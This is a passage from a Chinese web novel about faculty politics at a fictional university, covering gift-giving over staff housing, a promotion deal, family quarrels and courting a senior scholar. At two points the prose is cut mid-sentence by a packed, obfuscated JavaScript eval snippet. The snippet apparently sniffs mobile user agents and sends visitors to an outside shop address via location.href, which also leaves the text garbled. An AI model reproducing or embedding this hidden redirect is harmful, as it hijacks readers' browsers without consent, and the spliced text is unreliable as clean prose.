“还是雅娟明白。”钟德君趁机拍了一下吴雅娟的马屁,顺带出一句请她帮忙将滞留娘家不归的堂妹劝回来,吴雅娟翻了个白眼:“先不说这个。你就告诉我们怎么能够让孟超点头。” 钟德君点子多,叽哩哇啦讲了一通自己的主意。 虽然十分的不情愿,顾明远下班后还是被吴雅娟强行拉进了中南商场。烟酒柜里"黄鹤楼1916"香烟的金色包装在射灯下闪着刺眼的光。看到价签上那个触目惊心的数字,顾明远的胃里像坠了块生铁,指节猛地僵住——这几乎相当于他几十节的课时费。吴雅娟心疼得指甲几乎要掐进他手臂,催着他赶紧下决心。最终,顾明远挪开眼,向服务员指向了旁边中档的"黄鹤楼"。吴雅娟见的场面多,觉得两条烟很难打动孟超,便自作主张又要了两瓶"白云边"。 结账时,收银机的声响像是鞭子不停地抽打夫妻二人的心。 两人从钟德君那里打听到了孟超今晚没有应酬的消息,决定立即采取行动。 暮色渐沉,两人像即将行窃的盗贼,屏住声息蛰伏在房间里等待出门的时间。筒子楼里各家炒菜声、电视声、小孩哭闹声混成一片,对夫妻二人每分每秒都是煎熬。看看天色已经完全暗了下来,吴雅娟不停催促早点出门,顾明远站在窗口侧耳听了半天后说道:“下面还有不少人在散步呢,要不...再等等?” 吴雅娟甩开他的手,目光坚毅得让顾明远心惊:“等什么?再等下去,只怕梅大镛的儿子已经住进了咱们的房子。”说罢,将装有烟酒的帆布包挂在了顾明远的肩上。 两人刚走到楼梯口,忽然听见肖志阳尖细的嗓门盘旋着上升,吓得夫妻二人慌不择路退回屋内。顾明远后背紧贴门板,听见自己心跳如同擂鼓一般。又过了半天,确信楼梯没有动静后,两人这才蹑手蹑脚出了门。 月光被竹林撕割得支离破碎。两人像做贼般贴着墙根潜行,帆布包蹭过灌木丛沙沙作响,吓得他差点脱手。刚摸到孟超家楼下,二楼突然爆发的开门声惊得他膝盖发软,条件反射蹲下系鞋带时,发现自己的手指抖得根本捉不住鞋带。到达孟超家所在的五楼时,顾明远的衬衫已经湿透,黏在背上像层冰冷的第二层皮肤。 看清来人,孟超眼底闪过一丝讶异。 当顾明远下意识护住鼓胀的背包时,孟超嘴角动了动,故意提高音量说道:"哎哟,是雅娟你们呀。" 那是说给正在里屋的老婆韩梅听的。韩梅顶着面膜走了出来,看见是校长女儿,赶紧"刺啦"一声撕掉面膜:“雅娟可是稀客啊”,说罢,韩梅亲热地挽住吴雅娟,却明显感觉对方手臂肌肉紧绷。 顾明远盯着茶几上的水渍圈,吞吞吐吐说出了来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904235|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。 韩梅嘴快,大咧咧地说道:“给谁不是给呀,直接给雅娟不就得了?” 孟超皱了皱眉:“你先回屋吧,我有些事情要和他们商量。” 韩梅瞟了一眼顾明远带来的帆布包,用力掐了一下孟超的肩膀,扭动着水桶般粗的腰走进了里屋。 孟超一脸为难地说出了梅大镛要房的事。吴雅娟一听就急了:“他儿子当年是学校安排进校的,现在还要房子,这不都占全了嘛!” 孟超心中冷笑:你不也是靠着你爸进来的吗?嘴上却笑得亲热:“话虽这么说,他儿子现在可也是副处长了。” 看见顾明远满脸焦急的样子,孟超继续加大了力度:“关键是,老梅正在做许书记的工作。” 看着夫妻俩瞬间失望的脸色,孟超心里暗喜。其实,从顾明远说出来意的那一刻起,孟超就已经有了主意。最近,自己“校长助理”转成“副校长”的大事到了要见分晓的时候,吴若甫关系硬实,他以前答应过的助攻还没到位呢。正好,借这个机会给老校长一点甜头,让他再为自己在上头点点火。 孟超故意将难度作了一番欣然,忽然抬起头来:“这样吧,看在吴校长的面子,你们容我再考虑几天吧。” 吴雅娟脸颊上绽出两朵花来,说起话来也没那么多顾虑:“孟校还考虑啥呀,这不是你一句话的事嘛”,说完,拉开背包的拉链,把鼓囊囊的布包放在茶几上。 孟超早已看出了礼物的成色,心中并没有收下的意思,便起身板着脸推挡。里面一直在谛听动静的韩梅闻声出来嗔道:“你也是的。雅娟难得来一次。收就收下呗,赶紧把事给小两口办了得了,免得吴校长操心着急的。” 孟超夫妻俩嘴里对自己的无视以及时不时抬出“吴校长”的做法,让顾明远的心中五味杂陈:原来在所有人眼里,他顾明远的人生似乎就是个无限循环的莫比乌斯环,怎么转都绕不开"吴若甫"这三个字啊。 看见孟超点头的吴雅娟连忙拽起愣在原地的顾明远起身告辞。下楼时,顾明远两腿有些发软,帆布包轻了,心里却变得无比沉重。 顾明远夫妇的脚步声刚消失在楼道里,韩梅急不可耐地扯开布包。当她看清只是两条中档“黄鹤楼”和两瓶"白云边"时,嘴角不自觉地下撇:"就这么点破烂玩意呀。" 正要起身将布包塞进储物柜,孟超劈手夺了下来:"糊涂",孟超的手指在布袋上掐出几道深痕:"老吴家的东西是能随便收的?” 韩梅还想争辩,孟超已经拎起布袋大步走向门口,将“我去去就回”五个字咬得极重。 夜风卷着落叶扑打在孟超脸上。快要接近吴若甫家时,孟超停下脚步,转身来到了自己的办公室。再出来时,手中多出了一个装有上等龙井的盒子。 门开时,吴若甫的老花镜滑到鼻尖,镜片后的目光在孟超手中的布袋上停留了半秒。 “这么晚...”,老校长话未说完,孟超已经苦笑着举起布袋:"雅娟将东西落在我那的,想着赶紧送回来。" 听完孟超的讲述后,吴若甫轻轻叹了口气:“这两个孩子,做事总欠些火候嘛。”这声叹气,其实多少表达了顾明远自作主张送礼的不满。在吴若甫看来,顾明远简直上目无自己这个在楚江大学能够呼风唤雨的老丈人嘛。 孟超的茶杯停在半空,忖着吴若甫的心思说道:“要说小顾也确实不对,不就是一套房子嘛。不看僧面看佛面,他毕竟是吴校长您的女婿嘛。我这么晚来,其实只有一个目的,就是请吴校长放心,房子的事情我会安排好的。” 说完,孟超状似无意地将目光落在了书桌上的一张合影上——那是吴若甫前不久与常务副省长同学的合照。 前几天从同学那里得到了消息,吴若甫干脆给孟超送出顺水人情:“如果我没猜错的话,不出十天,你头上的助理帽子可能就要摘掉罗。” 看见吴若甫似乎不是开玩笑的样子,孟超激动得几乎眼眶要泛起了泪花:“真的吗?”似乎觉得这样问话有些幼稚,孟超又赶紧讨好地说道:“我就说嘛,只要吴校长您说话,那就没有办不成的事情。” 为了将孟超的恭维坐实,吴若甫现编了一个最近和常务副省长同学以及组织部领导一起吃饭的故事,这让孟超感激涕零得几乎要流下眼泪来,当即拍着胸脯表态,拼死都要将那套一室一厅交给吴雅娟的名下。 得到答案的吴若甫继续给孟超开出空头支票:“小孟你还年轻呢。周校长也就还有三四年的工夫嘛,你可得将目光放得更长远一些的。到时候,我还是可以给你们年轻人搭把手的嘛。”说罢,端起茶杯,轻轻吹开表面的浮叶,目光却透过氤氲的热气,不经意地扫过孟超激动得发红的脸庞。 吴若甫的这番话,看似是提携后辈的承诺,实则句句都在暗藏着机锋。它既是在展示自己退而未休的深厚影响力,更是在传递一个不容置疑的暗示——我许你前程,你得把房子的事办扎实罗,对我的女婿顾明远嘛应该更多的放在心上进行关照。 孟超岂能听不出这弦外之音?他的语气更加恭谨:“吴校长您放心。今后明远的事,就是我的事。” 起身告辞时,吴若甫忽然叫住他,指了指孟超送来的烟酒茶:“我老了,吃喝都不中用啦。” 孟超根本不予理会,急速地往门口走去。 孟超没有食言,不到一周的工夫,众人哄抢的一室一厅落在了顾明远的名下。吴若甫也没有食言,五天后,孟超的“校长助理”如愿切换成了“副校长”。 当顾明远搬进一室一厅后,心里却没有预期中的那种喜悦。那串冰冷的钥匙躺在手心,却仿佛有千斤般沉重。他知道,自己欠下了这笔人情债注定要用自己的尊严来偿还。 35. 小满进城 那把象征着新生活的一室一厅钥匙,沉甸甸地落在了顾明远和吴雅娟的手中。然而,岳父吴若甫的“援助”并未就此止步。这位深谙人情世故的老校长,决意要借此机会,给那个既不懂世故又带着几分清高自傲的女婿好好地上一课。 周末,顾明远夫妇如常来到岳父家吃饭。顾明远正准备帮着岳母万素琴摘豆角,就被吴若甫叫进了书房。吴雅娟疑惑地看了父亲一眼,吴若甫对她招了招手:“你也一起来。” 书房里,紫檀木的香气氤氲,却莫名带着一种压迫感。吴若甫将那个眼熟的布袋“啪”地一声放在宽大的书桌上,声音在寂静的房间里显得格外突兀。 “完璧归赵。”说罢,端起桌上的青瓷盖碗,用杯盖轻轻拨弄着浮沫,瓷器相撞发出的清脆声响,让顾明远的心不由自主地抖了一下。 吴雅娟解开布袋的动作迟缓而谨慎。当熟悉的“黄鹤楼”“白云边”露出来时,她的喉间抑制不住地溢出一声短促的“啊”。 “你们好大的手笔。”吴若甫忽然笑了,眼角的皱纹里却像是夹着冰碴:“看来明远你现在办事很有主见嘛。” 顾明远听出了岳父话语里的冷峻和嘲讽。吴雅娟想替丈夫解围,急忙解释道:“爸您不知道,当时情况紧急,如果我们不主动一点,房子肯定就被梅大镛……。” 话未说完,就被一声冷笑截断:“哦?照这么说,你们能拿到这套房子,全靠的是自己的本事咯?”吴若甫的目光锐利如刀,直直地射向顾明远。 顾明远情知这是岳父在“将军”,心中本就憋着的一股气忍不住涌了上来,略带嘲讽地回道:“我们哪有这么大的能耐。” “不错嘛,心里还是有点数的。”吴若甫的语气听不出是赞许还是讥讽。 吴雅娟趁机撒起了娇:“我们一直都有数的呀,老爸您最厉害了。” “是吗?”吴若甫狠狠瞪了女儿一眼,书房里的座钟突然当当敲响,惊起了窗台上两只看热闹的麻雀,扑棱着翅膀飞走了。 “明远你知道苏东坡写《刑赏忠厚之至论》吧?”吴若甫突然话锋一转:“旷世奇才的苏东坡文章写好后,还要先请老师欧阳修过目的。” 顾明远早已熟悉吴若甫这套借古讽今的把戏。若不是吴雅娟在一旁用眼神拼命阻拦,他甚至想就苏东坡的典故和岳父好好辩论一番——欧阳修可不会事无巨细地插手学生的每一个选择。 好在方姨及时过来催促大家上桌吃饭,暂时将顾明远心头的不平之气压了下去。 第二天,顾明远亲自去傅家坡长途客运站将二姐顾小满接回了家。 别看顾小满来自乡下,身上似乎有着天生的适应力。来到城里没几天,她就像田埂边上的蒲公英,风一吹就找准了落脚的地儿。第一天进城时还在看着高楼的窗户发晕,第三天就已经能在菜市场里熟练地和卖菜阿姨讨价还价了。就连学校门口修鞋的老头都咂嘴称赞,说她是个眼观六路、耳听八方的伶俐人,看不出来是刚从农村过来的。 最让顾明远惊掉下巴的是,来武汉的第五天顾小满就干成了一件大事。 那天清晨,吴雅娟正在厨房煮面,突然听见楼下传来一阵爽朗的笑声。她探头往窗外一看,只见顾小满正抱着安安和学校保洁队的王队长聊得热火朝天。 没过多久,顾小满哼着欢快的小曲儿回来,手里竟然还得意地晃着一串钥匙:“我找了个活儿。”她眉飞色舞地说道:“王队长说以后筒子楼这边区域的保洁归我管,每月有四百块钱的收入哩。” 顾明远惊得眼镜都滑到了鼻尖:“二姐,你…你怎么…?” “嗨,早上看见王队长在发愁人手不够,我就搭了句话。”顾小满放下安安,麻利地收拾起碗筷:“他说我干活利索,比城里那些娇气包强多了。” 更绝的是当天下午下班后,顾小满神秘兮兮地拉着夫妻二人来到一楼,推开拐角处的一间堆满工具的小屋:“瞧见没?王队长说了,这工具间反正空着也是空着,如果我愿意,住在里面也不是不可以。” 吴雅娟目瞪口呆地看着这个已经归置完毕被顾小满称为“六平米豪宅”,一张破桌子上竟然摆了个插着几朵野花的玻璃瓶,在昏暗的灯光下倔强地焕发着生机。 “你这…你这动作也太快了吧?”顾明远结结巴巴地说不出完整的话。 “咋的?这也不影响我去楼上照看安安呀。”顾小满叉着腰,眼睛笑成两道弯弯的月牙,再说了……”,她故意压低声音,俏皮地眨着眼睛:“省得晚上我打呼噜吵着你们呢,多好!” 顾小满做事麻利,当天晚上,就搬进了“新居”。晚上躺在床上,顾明远心里有说不出的高兴,他望着天花板,突然觉得从乡下闯进城里的二姐,似乎活得比他们这些读书人更加通透自在。 与顾明远的高兴不同,吴雅娟对顾小满自作主张去兼职的做法隐隐有些不满。表面上的理由是担心影响丈夫副教授的形象,实则内心深处是怕顾小满因此不能全心照顾女儿安安。 顾小满做过多年妇女主任,对吴雅娟的担心心知肚明。这些天来,她比平常更加用心呵护侄女安安,吴雅娟慢慢放下心来。 然而,顾明远最担心的事情还是发生了。 参加兰州为期三天的学术会议结束后,回到家时已是傍晚。顾明远拖着疲惫的身躯爬上五楼,钥匙刚插进锁孔就察觉到了异样——屋里静得出奇,没有女儿安安往常银铃般的笑声,也没有二姐忙碌的动静。 推开门,二姐顾小满独自坐在客厅的旧沙发上,手里紧紧攥着一条洗得发白的手帕不时地擦拭着眼睛。她面前的地板上,一个鼓鼓囊囊的编织袋已经收拾妥当,那是她从乡下带来的全部家当。 “二姐,怎么你一个人?安安她们呢?”顾明远放下行李,惊醒了发呆的顾小满。 顾小满嘴角勉强扯出一个笑容:“被你媳妇抱回娘家了。”她的声音沙哑得有些厉害。 顾明远心里“咯噔”一下。他对妻子的脾气和二姐的性子再熟悉不过了,猜测这几天两人肯定是擦出了火花闹了矛盾。 “咋啦?花木兰今天心情不好?”顾明远试图用二姐在村剧团演过的角色来缓和气氛,但顾小满只是冷冷地瞥了他一眼,那眼神里盛满了委屈和失望:“明儿,”顾小满深吸一口气,手帕在指间绞成了麻花:“我都收拾好了,明日我便回乡去了。” 顾明远意识到问题的严重性,连忙坐到二姐身边:“这才半个月呢。好好的开什么玩笑呀?” “谁跟你开玩笑了?”顾小满猛地站起身,从围裙口袋里掏出一把零钱,“啪”地一声拍在茶几上:“去问你媳妇吧。太伤人自尊了。”她的声音颤抖着,眼泪又涌了出来:“我顾小满三十好几的人了,还没被人当贼防过。” 原来,就在昨天,吴雅娟忽然发现家里抽屉的钱匣子里少了三百块钱。晚饭后,便借着训斥女儿安安的由头指桑骂槐了半天。顾小满本就是个眼睛不能容沙子的烈女子,当即将正在涮洗的碗筷丢进池子里,逼着吴雅娟把事情说清楚。偏偏吴雅娟也不是个会拐弯的主儿,当下冷笑着说了句“三百块钱平白无故不见了你说是什么意思”的话来。顾小满气得浑身发抖,委屈顷刻间像一挂点了火的鞭炮噼里啪啦地炸开,恨不能赌咒发誓,将自己的衣兜当着吴雅娟的面翻了个底朝天。 听着二姐抽抽噎噎的描述,顾明远重重地拍了下自己的后脑勺:“哎呀,这事儿都怪我!”他急忙拉开书桌抽屉,从里面取出一张收据:“我出差前急着补订两本学术期刊,顺手从钱匣子里拿了三百块,忘记告诉雅娟了。” 顾小满愣了片刻,突然捂住脸哭了起来。那哭声压抑而克制,像是要把这段时间所受的委屈都宣泄出来。 “二姐,对不起。都是我的错。”顾明远手足无措地站在一旁,心里既愧疚又尴尬。 顾小满擦干眼泪,叹了口气:“明儿,我不怪你。只是……”,她欲言又止,最终还是没忍住:“爸以前说得没错,你家媳妇那面相,颧骨高嘴唇薄,一看就是疑心病重的主儿。我这半个月算是领教了,校长家的千金,有时候还不如我们农村妇女明事理。算了,惹不起,我躲得起,明天早上我还是回乡下得了。” 二姐的话惊得顾明远慌了手脚,一个劲地替吴雅娟赔着不是。安慰完二姐后,赶紧拿起外套去吴家。 顾明远赶到吴家时,吴雅娟正坐在客厅里发呆,安安一个人趴在地毯上搭积木。顾明远掏出那张收据,有些不满地丢在她面前:“你也太武断了。钱是我拿去订期刊了,这是收据。” 吴雅娟仔细看完收据,脸“唰”地红了。闻讯出来的吴若甫得知真相后,将母女两人来个个“一锅烩”:“你们呀,都一个德行,见风就是雨。人家小满抛家弃口大老远来帮忙,你倒好,把人家当贼防。” 知道女儿错了的的万素琴紧张得不知该把目光往哪里放。停了片刻,赶紧从柜子里翻出一盒“人参蜂王浆”塞到女儿手里:“赶紧跟明远回去,给小满二姐赔个不是。” 顾明远无奈地叹了口气。听说回家,安安摇晃着扑进爸爸的怀里,在他脸上“吧唧”亲了一口。这一吻仿佛有魔力,驱散了他满身的疲惫和无奈。 回到家时,顾小满从弟弟手中接过侄女安安,看也不看吴雅娟一眼。 “二姐……”,吴雅娟鼓起勇气走上前,将那盒补品递过去:“二姐,是我错怪你了,对不起啊。” 顾小满是个直肠子,脾气像夏日的雷阵雨,噼里啪啦发作完,转眼又是晴空万里。她摆了摆手,笑着说道:“算了,事情说清楚了就好了。”说完,还故意重重捶了弟弟顾明远一把:“归根结底,错都在你。” 一句话将原本有些凝滞的气氛重新活络了起来。 晚饭后,等顾小满回到楼下的小天地后,吴雅娟急急关上房门,像变魔术一样从床头柜的抽屉里拿出一个精致的四方盒子在顾明远眼前晃了晃。顾明远心里余气未消,只抬了一下眼皮便和衣躺在床上。气得吴雅娟斥了句“差不多得了哈”,就把盒子塞进顾明远怀里。 顾明远只好拆开包装,一部崭新的手机赫然映入眼帘。他的手激动地抖了一下,这可是这两年朝思暮想的宝贝啊!现在,眼见着同时来校的林书锦、钟德君、蒋嘉琦他们拿着手机人前人后地显摆,顾明远的心像被猫爪子挠似的痒得难受。几次和吴雅娟商量,都被她以“花这个冤枉钱干嘛”挡了回来。现在,一部闪着金属光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904236|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽的手机就躺在手心,顾明远心中因吴雅娟误会二姐而积攒的怒气立刻消减了大半。 顾明远脸上的喜悦光彩,像一盏突然被点燃的纸灯笼,温黄、颤动,霎时映亮了吴雅娟心底某个尘封已久的角落。她的指尖很轻地划过他衬衫下摆与肌肤相接的那一带,仿佛只是无意掠过,却让顾明远浑身猛地一颤。那些被日复一日的工作与琐碎生活压抑许久的热情,在这一刻如同惊蛰时分的春雷,低沉而汹涌地在他血液里隆隆滚动。他深吸一口气,握住了她的手腕,掌心滚烫。吴雅娟抬起眼,迎上他火热的目光。两人额头轻轻抵住,呼吸交错间,体温陡然攀升。衣衫松散,呻吟声起。窗外的月光流淌进来,勾勒出两人交叠的身影。这是一个属于他们的夜晚,缓慢而炽热,如同经过漫长寒冬后,土地里终于破土而出的第一缕春意。 激战过后,倚床喘息时,顾明远忽然好奇起来:一向节省的吴雅娟怎么突然如此大方起来?追问了几次,吴雅娟道出了实情:长期与学校合作的电信公司今年给额外给校领导配送了十部手机,周濂特地给老校长吴若甫也批了一部。 顾明远只觉一盆冰水当头浇下,猛地将手机掷向吴雅娟:“搞半天这是别人的施舍,我顾明远受不起。”金属外壳在床垫上弹跳两下,屏幕亮起刺眼的光。 吴雅娟一脚踹在顾明远的小腿上:“装什么清高呀!不要拉倒,明天我就还给老爸。” 顾明远揉着发痛的小腿,目光却不由自主地瞟向桌上那部崭新的手机。钟德君那帮人最近总是在自己面前炫耀他们的新款手机,每次听到那刺耳的和弦铃声,他都觉得脸上火辣辣的。这手机他自然是想要的,可偏偏是不是自购而是馈赠,倒像是他顾明远要靠老婆娘家接济似的。 整整一天一夜,那手机就静静躺在床头柜上,像块烫手的山芋。第二天早上,吴雅娟倒是沉得住气,闭口不提过手机的事。等吴雅娟上班后,顾明远的视线在也没有离开过这个闪烁着迷人光泽的小“砖头”。晚上下班后,顾明远轻咳一声,状若无意地说道:“今天院里开始在手机里发会议通知。”吴雅娟故意不吭声,顾明远只好讪讪地补充道:“现在好像离开手机就不能工作似的……。” 吴雅娟关上火,把菜盛进盘子:“所以呢?” 顾明远推了推眼镜,目光游移到床头柜上的手机:“我在想,既然这东西已经给了,总不能推给学校吧,反倒显得不识抬举。”他停顿了一下,又急忙找补:“要不,我们给爸一笔钱算是自己买的?”他是明知吴雅娟绝不可能掏出这笔钱的。 吴雅娟忍不住笑了起来,走进房里拿出手机塞进他的手中:“别矫情啦。知足吧。” 手机拿到手三天,顾明远就有些后悔起来。整整三天,他就接了钟德君的一个来电。如果细究起来,那还是他用座机暗示钟德君后的结果。原本想让同学、老乡、同事知道自己如今也是个有手机的主儿的想法,感觉一下子落了空,无奈这下,他只好主动给马骉、叶老师等一众自认为关系亲近的人打去了问候电话。 真正第一个自主打来电话的,还是远在百里之外的乡下父亲顾有余。顾明远顿时来了精神,特意走到阳台接起了电话。电话那头传来父亲沙哑中带点哽咽的声音:“明儿喂,不得了啊,房子塌了。” 想起这些年绵绵不断的雨,顾明远脑袋“嗡”的一声。正在客厅摘豆角的顾小满赶紧出来接过手机。原来是虚惊一场,老家几乎已经废弃的牛棚在昨晚的那场大雨中垮塌了。 顾小满忍不住对着手机抱怨起来:“爸,你以后别这么一惊一乍的哈,吓死我们了。”松了口气的顾明远在电话里随口安慰道:“倒了就倒了呗,反正现在家里也不养牛了,正好省事。” 这句话立刻像捅了马蜂窝。电话那头的顾有余瞬间拔高了嗓门:“你说得倒轻巧。牛棚不是家里的财产呀?修牛棚不得花钱啊?那砖那瓦那木料,哪样不要钱?” 姐弟二人这才意识到,父亲的这通电话是奔着钱来的。顾小满在“吃吃”地笑了起来,拿过手机干脆利落:“行啦,爸,下午就给你汇三百块钱回去。行了吧?” 挂断电话后,顾小满二话不说,从自己的帆布包里掏出三张崭新的百元大钞递给顾明远:“你下午抽空去邮局一趟,给爸汇过去。” 顾明远坚辞不受:“哪有让你出钱的道理。这钱我来出。”话音未落,顾小满的拳头已经轻轻擂上了他的肩头:“咋的?瞧不起你二姐是不是?”为了显示自己的底气,顾小满告诉弟弟自己现在一个月下来靠着回收学生宿舍楼的饮料瓶和废纸板至少能够净赚了三百多块。这个快赶上自己小半个月工资的数目,着实让顾明远吃惊不小,他不由得对二姐竖起了大拇指:“二姐,你将来要是不当个董事长,那可真是屈才了!” 正说笑着,房门“吱呀”一声被推开。抱着女儿的吴雅娟走了进来,目光在姐弟两人之间来回扫视,最后定格在顾明远手里的钞票上。顾明远吓得后背一凉,赶紧把前因后果解释了个遍。 吴雅娟眉头轻轻一挑:“二姐也是一番好意。这样吧,我们也贴个一两百,凑个五百给你爸汇去吧。” 姐弟二人对着吴雅娟走进房里的背影,不约而同做了个鬼脸。 36. 春风得意 新晋副校长后,孟超如今在楚江大学可谓是春风得意、风头无两。从正处级校长助理擢升为副厅级的省管干部,他整个人仿佛被打足了气的氢气球,几乎要不受操控地飘到天上去。这份志得意满,红头文件上那“副厅级”三个字固然是巨大的动能,但自己负责的教工宿舍楼的顺利动工进展顺利,新增加分管科技工作的含金量十足……,所有这些,让他的腰杆挺得更直、胸膛鼓得更高。 孟超如今坐在那间朝南的副校长办公室里,秋日澄澈的阳光透过宽大的落地窗泼洒进来,将整个空间镀上一层金箔般的光泽。窗外流云舒卷,落在他眼中,竟似敦煌壁画里的飞天正翩然献舞。他时常无意识地用指尖在光洁的红木办公桌上敲击节拍,脑海中轮播着回忆当上副校长以来的“高光时刻”:名正言顺地与许继武、周濂等校领导并肩议事,亲自主持各类重要会议,接待省厅领导的考察调研……。尤其让他心动的,那个十几年来一直冷若冰霜的历史学院院长秦冰纶,如今见了他,脸上的表情和嘴中的温度都有了质的变化和飞跃。 权力是烈性的春药,现在看来一点不假。 可不是么?科技工作事关学校的核心竞争力,如今成了各个学院极力要抢占的制高点。如果得不到分管校领导的支持,什么课题呀、经费呀都要打了折扣。秦冰纶是个聪明人,岂会不识时务? 正当孟超陷入遐想的时候,门外传来三记轻柔的敲门声。 “请进。”孟超清了清嗓子,端正了坐姿。 门被轻轻推开,来人让孟超的心跳骤然漏了一拍——不是别人,正是他方才还在思量的秦冰纶。 秦冰纶穿了件月白色旗袍,旗袍裁剪得体,恰到好处地勾勒出她依然凹凸有致的身段。发髻松松挽起,几缕碎发垂在耳侧,衬得她脖颈愈发修长白皙,显出一种不同往常的、略带慵懒的风情来。她手里拿着一个文件夹,步履轻盈地走到办公桌前。 “孟校长,没打扰您吧?”秦冰纶微微欠身,旗袍的立领间露出一截雪白的颈子来。孟超正在恍惚,秦冰纶将文件夹递了过来。 孟超伸手去接,她却不着痕迹地稍稍后撤半步,伸出修长的手指点了点文件的封面:“孟校长,我们历史学院这次打算申报两个国家社科基金课题,这是初步方案,向请您指导指导?”她有意将尾音放得又轻又软,像裹着一层蜜糖,听得人心里发痒,却一时又够不着那糖的实在甜头。 孟超只觉得喉头有些发干,起身示意秦冰纶坐下说话,动作幅度稍大,险些碰翻了笔筒边摆放着的那个仿乾隆青花瓷瓶。他定了定神,并未立刻回应课题的事,反而起身:“秦院长来得正好,我这儿刚得了些不错的云南小粒咖啡,尝尝?” 咖啡机咕嘟作响,馥郁的香气很快在办公室里弥漫开来。秦冰纶优雅地坐在沙发上,再次提起课题申报的事情。孟超却不着急表态,他端着两杯咖啡走过来,自然而然地坐在了秦冰纶旁边的单人沙发上,这样可以更加靠近这位楚江大学的“资深美女”。 “冰纶啊,”他吹了吹咖啡的热气,语气显得十分亲热:“不瞒你说,学校把科研这块工作交给我分管,我这心里还真是有点没底。你是教授,科研方面经验丰富,今后可得给我出主意、提建议啊。”他刻意省略了“院长”的职称,拉近彼此距离的意图显而易见。 秦冰纶轻轻拢了拢耳边的碎发,指尖在咖啡杯沿若有似无地画着圈,眼波流转、语态从容:“孟校长您太谦虚了,您分管科研是众望所归,大家都很服气呢。”顿了顿,像是忽然想起什么,继续说道:“要说建议嘛,我倒是觉得,省里最近重点推的那个‘产学研协同创新计划’,潜力很大,您可以重点关注一下。” 见孟超身体微微前倾显露出兴趣,秦冰纶又不着痕迹地补充了一句:“不过呢,这种项目通常周期长,见效慢,投入精力大,最终的成果显现也需要时间,恐怕不太容易立刻做出亮眼的政绩……”,说到这里,她抿唇微微一笑,有意将真正核心的、关乎申报技巧和资源倾斜的关键信息都咽了回去。骨子里的厌恶、怨恨、妒忌可不是一夕之间就可以烟消云散的。 即便如此,孟超似乎已是大为受用。他屁股不自觉地又往秦冰纶那边挪了近半寸,鼻翼微翕,将她身上传来的淡淡馨香——或许是香水,或许是体香——悄悄吸入肺中。这香气,连同她此刻“推心置腹”的姿态,让他有些飘飘然。感动之余,嘴便不容易把门,甚至连“冰纶你放心,你的能力大家都看在眼里,今后班子调整,我肯定全力支持你”这样不该自己说的话也秃噜了出来。 这倒是秦冰纶此刻愿意听到的。在象牙塔里沉浮这些年,她早已深谙其道:在这条蜿蜒曲折、看似风光实则暗流汹涌的仕途上,与其处处树敌、时时如履薄冰,不如广结善缘、多寻台阶。多一个朋友,便似在风雨亭中多备下一把油纸伞,未必时时用得着,但骤雨突至时,总能护住半肩干爽;少一个敌人,如同在悬崖边悄然撤去一块绊脚石,看似无关紧要,却能在最关键的时刻避开万丈深渊。漫长的博弈里,没有永恒的敌人,只有永恒的利益——而若能巧妙地将利益交换转化为些许看似真诚的情谊,则更能显出自己的格局与本事。 想到这里,秦冰纶决定投桃报李,语气显得愈发真诚:“孟校长,既然您这么信任和支持我,我倒是有个不成熟的小建议,不知道当讲不当讲?” “哦?但说无妨。”孟超立刻回应。 “您如今分管科技工作,于情于理,我觉得您都应该抽时间去拜访一下莫笑非莫老先生。”秦冰纶缓缓说道,观察着孟超的反应。 孟超似乎一点也不想掩饰自己的不屑:“老莫?他现在连学术委员会主任都不是了,再过两年就要退休了,为什么要去拜访他?还能翻起什么大浪不成?” 秦冰纶心中暗自嗤笑孟超的短视与肤浅。既然打算在孟超身上投资这份“善缘”,她还是决定将诚意做得更足一些。她莞尔一笑,语气更加恳切:“话可不能这么说呀。莫教授虽然现在看起来比较低迷,但他在全国学术界的影响力和话语权,那可是几十年沉淀下来的,无人能够取代。尤其他的门生故旧遍布学界要害部门,教育部里还有几位他的弟子呢,这样的能量不容小觑。您现在刚刚分管科技工作,如果能得到到他的支持,对迅速打开局面、站稳脚跟应该还是有好处的。这就像是……。在咱们楚江大学的科研阵地上,他到底还是一面旗帜,的。” 秦冰纶这番推心置腹的分析,让孟超大受感动。为了显示对她的尊重和一个厅级干部的胸怀,他点头接受了秦冰纶的建议。 三天后,孟超出现在了“荆楚大先生工作室”门口。这也是目前唯一给莫笑非留下的体面。新任学术秘书林书锦早已接到通知,恭敬地在前面躬身引路。孟超迈步而入,目光不经意间瞥见厅堂正面墙上新挂起的一幅匾额,上书四个苍劲有力的大字:“经世致用”。落款处的小字,赫然是一位教育部副部级领导的名字。孟超的心头不由得凛然一肃,先前那点轻视之心瞬间收敛了大半。 林书锦进去通报后,莫笑非才从里间办公室慢悠悠地踱了出来。他穿着一件半旧的灰布长衫,衣角扫过桌面堆放的一些线装书,发出轻微的沙沙声。 几句例行公事般的寒暄过后,莫笑非忽然用枯瘦的手指叩了叩面前那本厚厚的《楚江大学学术志》,看似随意地问道:“孟校长年轻有为,想必在C刊上发过不少大作吧?” 这话问得平淡,却像一柄精准而锋利的手术刀直插孟超的软肋。他胸中顿时像是被点了一把火,灼热难堪,脸上却努力维持着谦逊的笑容:“莫老您说笑了,”他语调放得极低,显得十分谦恭:“实在是惭愧。这些年一直忙于各种行政事务,案牍劳形,很难抽出整块时间静下心来钻研学问,科研成果方面,确实是……是我的短板,正要向莫老您这样的大家多多请教学习。” 